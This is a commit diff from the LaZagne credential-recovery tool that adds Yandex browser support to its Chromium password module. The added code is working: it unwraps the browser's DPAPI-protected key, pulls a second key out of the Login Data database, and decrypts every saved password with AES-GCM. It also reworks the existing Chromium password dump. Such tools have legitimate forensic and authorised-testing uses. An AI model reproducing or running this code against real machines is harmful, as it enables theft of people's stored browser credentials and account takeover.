Skip to content

Commit c95fc15

Browse files
committed
Yandex support
1 parent 30aebe9 commit c95fc15

File tree

1 file changed

+113
-51
lines changed

1 file changed

+113
-51
lines changed

Windows/lazagne/softwares/browsers/chromium_based.py

Lines changed: 113 additions & 51 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,11 @@
11
# -*- coding: utf-8 -*-
2+
3+
# Thank you all for the Yandex browser support:
4+
# - https://github.com/AlessandroZ/LaZagne/issues/483
5+
# Here are great projects:
6+
# - https://github.com/Goodies365/YandexDecrypt
7+
# - https://github.com/LimerBoy/Soviet-Thief
8+
29
import base64
310
import json
411
import os
@@ -10,6 +17,8 @@
1017
import traceback
1118

1219
from Crypto.Cipher import AES
20+
from Crypto.Hash import SHA1
21+
from Crypto.Util.Padding import unpad
1322

1423
from lazagne.config.constant import constant
1524
from lazagne.config.module_info import ModuleInfo
@@ -20,7 +29,7 @@
2029
class ChromiumBased(ModuleInfo):
2130
def __init__(self, browser_name, paths):
2231
self.paths = paths if isinstance(paths, list) else [paths]
23-
self.database_query = 'SELECT action_url, username_value, password_value FROM logins'
32+
self.database_query = 'SELECT origin_url, username_value, password_value FROM logins'
2433
ModuleInfo.__init__(self, browser_name, 'browsers', winapi_used=True)
2534

2635
def _get_database_dirs(self):
@@ -82,7 +91,50 @@ def _decrypt_v80(self, buff, master_key):
8291
except:
8392
pass
8493

85-
def _export_credentials(self, db_path, is_yandex=False, master_key=None):
94+
def _yandex_extract_enc_key(self, db_cursor, decrypted_key):
95+
db_cursor.execute('SELECT value FROM meta WHERE key = \'local_encryptor_data\'')
96+
local_encryptor = db_cursor.fetchone()
97+
98+
# Check local encryptor values
99+
if local_encryptor == None:
100+
self.debug('[!] Failed to read local encryptor')
101+
return None
102+
103+
# Locate encrypted key bytes
104+
local_encryptor_data = local_encryptor[0]
105+
index_enc_data = local_encryptor_data.find(b'v10')
106+
if index_enc_data == -1:
107+
self.debug('[!] Encrypted key blob not found')
108+
return None
109+
110+
# Extract cipher data
111+
encrypted_key_blob = local_encryptor_data[index_enc_data + 3 : index_enc_data + 3 + 96]
112+
nonce = encrypted_key_blob[:12]
113+
ciphertext = encrypted_key_blob[12:-16]
114+
tag = encrypted_key_blob[-16:]
115+
116+
# Initialize the AES cipher
117+
aes_decryptor = AES.new(decrypted_key, AES.MODE_GCM, nonce=nonce)
118+
119+
# Decrypt the key
120+
decrypted_data = aes_decryptor.decrypt_and_verify(ciphertext, tag)
121+
122+
# Check signature
123+
if int.from_bytes(decrypted_data[:4], 'little') != 0x20120108:
124+
print('[!] Signature of decrypted local_encryptor_data incorrect')
125+
return None
126+
127+
# Got the key :P
128+
return decrypted_data[4:36]
129+
130+
def _yandex_decrypt(self, key : bytes, encrypted_data : bytes, nonce : bytes, tag : bytes, aad : bytes) -> str:
131+
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
132+
if aad:
133+
cipher.update(aad)
134+
decrypted_data = cipher.decrypt_and_verify(encrypted_data, tag)
135+
return decrypted_data.decode('utf-8')
136+
137+
def _export_credentials(self, db_path, is_yandex=False, master_key=None, original_path=None):
86138
"""
87139
Export credentials from the given database
88140
@@ -91,57 +143,67 @@ def _export_credentials(self, db_path, is_yandex=False, master_key=None):
91143
:rtype: tuple
92144
"""
93145
credentials = []
94-
yandex_enckey = None
95146

96147
if is_yandex:
148+
localState = os.path.join(original_path.split('User Data')[0], 'User Data', 'Local State')
149+
if not os.path.exists(localState):
150+
return []
151+
152+
with open(localState, 'rb') as fjson:
153+
encrypted_key = base64.b64decode(json.load(fjson)['os_crypt']['encrypted_key'])[5:]
154+
decrypted_key = Win32CryptUnprotectData(encrypted_key, is_current_user=constant.is_current_user,
155+
user_dpapi=constant.user_dpapi)
156+
97157
try:
98-
credman_passwords = Credman().run()
99-
for credman_password in credman_passwords:
100-
if b'Yandex' in credman_password.get('URL', b''):
101-
if credman_password.get('Password'):
102-
yandex_enckey = credman_password.get('Password')
103-
self.info('EncKey found: {encKey}'.format(encKey=repr(yandex_enckey)))
158+
conn = sqlite3.connect(db_path)
159+
cursor = conn.cursor()
104160
except Exception:
105161
self.debug(traceback.format_exc())
106-
# Passwords could not be decrypted without encKey
107-
self.info('EncKey has not been retrieved')
108162
return []
109163

110-
try:
111-
conn = sqlite3.connect(db_path)
112-
cursor = conn.cursor()
113-
cursor.execute(self.database_query)
114-
except Exception:
115-
self.debug(traceback.format_exc())
116-
return credentials
164+
enc_key = self._yandex_extract_enc_key(cursor, decrypted_key)
165+
if not enc_key:
166+
self.info('[!] Failed to extract enc key')
167+
return []
168+
self.debug('Encrypted key found: %s' % enc_key)
117169

118-
for url, login, password in cursor.fetchall():
119-
try:
120-
# Yandex passwords use a masterkey stored on windows credential manager
121-
# https://yandex.com/support/browser-passwords-crypto/without-master.html
122-
if is_yandex and yandex_enckey:
170+
# Execute queries
171+
cursor.execute('SELECT origin_url, username_element, username_value, password_element, password_value, signon_realm FROM logins')
172+
for url, username_element, username, password_element, password, signon_realm in cursor.fetchall():
173+
if type(url) == bytes:
174+
url = url.decode()
175+
# Get AAD
176+
str_to_hash = f'{url}\0{username_element}\0{username}\0{password_element}\0{signon_realm}'
177+
hash_obj = SHA1.new()
178+
hash_obj.update(str_to_hash.encode('utf-8'))
179+
# Decrypt password value
180+
if len(password) > 0:
123181
try:
124-
try:
125-
p = json.loads(str(password))
126-
except Exception:
127-
p = json.loads(password)
182+
decrypted = self._yandex_decrypt(
183+
key=enc_key,
184+
encrypted_data=password[12:-16],
185+
nonce=password[:12],
186+
tag=password[-16:],
187+
aad=hash_obj.digest()
188+
)
189+
credentials.append((url, username, decrypted))
190+
except Exception as e:
191+
print(e)
128192

129-
password = base64.b64decode(p['p'])
130-
except Exception:
131-
# New version does not use json format
132-
pass
133-
134-
# Passwords are stored using AES-256-GCM algorithm
135-
# The key used to encrypt is stored on the credential manager
193+
else:
194+
try:
195+
conn = sqlite3.connect(db_path)
196+
cursor = conn.cursor()
197+
cursor.execute(self.database_query)
198+
except Exception:
199+
self.debug(traceback.format_exc())
200+
return credentials
136201

137-
# yandex_enckey:
138-
# - 4 bytes should be removed to be 256 bits
139-
# - these 4 bytes correspond to the nonce ?
202+
for url, login, password in cursor.fetchall():
203+
try:
204+
if type(url) == bytes:
205+
url = url.decode()
140206

141-
# cipher = AES.new(yandex_enckey, AES.MODE_GCM)
142-
# plaintext = cipher.decrypt(password)
143-
# Failed...
144-
else:
145207
# Decrypt the Password
146208
if password and password.startswith(b'v10'): # chromium > v80
147209
if master_key:
@@ -160,14 +222,14 @@ def _export_credentials(self, db_path, is_yandex=False, master_key=None):
160222
if password_bytes not in [None, False]:
161223
password = password_bytes.decode("utf-8")
162224

163-
if not url and not login and not password:
164-
continue
225+
if not url and not login and not password:
226+
continue
165227

166-
credentials.append((url, login, password))
167-
except Exception:
168-
self.debug(traceback.format_exc())
228+
credentials.append((url, login, password))
229+
except Exception:
230+
self.debug(traceback.format_exc())
169231

170-
conn.close()
232+
conn.close()
171233
return credentials
172234

173235
def copy_db(self, database_path):
@@ -210,12 +272,12 @@ def run(self):
210272
self.debug('Database found: {db}'.format(db=database_path))
211273

212274
# Copy database before to query it (bypass lock errors)
213-
path = self.copy_db(database_path)
214-
if path:
275+
cp_path = self.copy_db(database_path)
276+
if cp_path:
215277
try:
216-
credentials.extend(self._export_credentials(path, is_yandex, master_key))
278+
credentials.extend(self._export_credentials(cp_path, is_yandex, master_key, database_path))
217279
except Exception:
218280
self.debug(traceback.format_exc())
219-
self.clean_file(path)
281+
self.clean_file(cp_path)
220282

221283
return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(credentials)]

0 commit comments

Comments
 (0)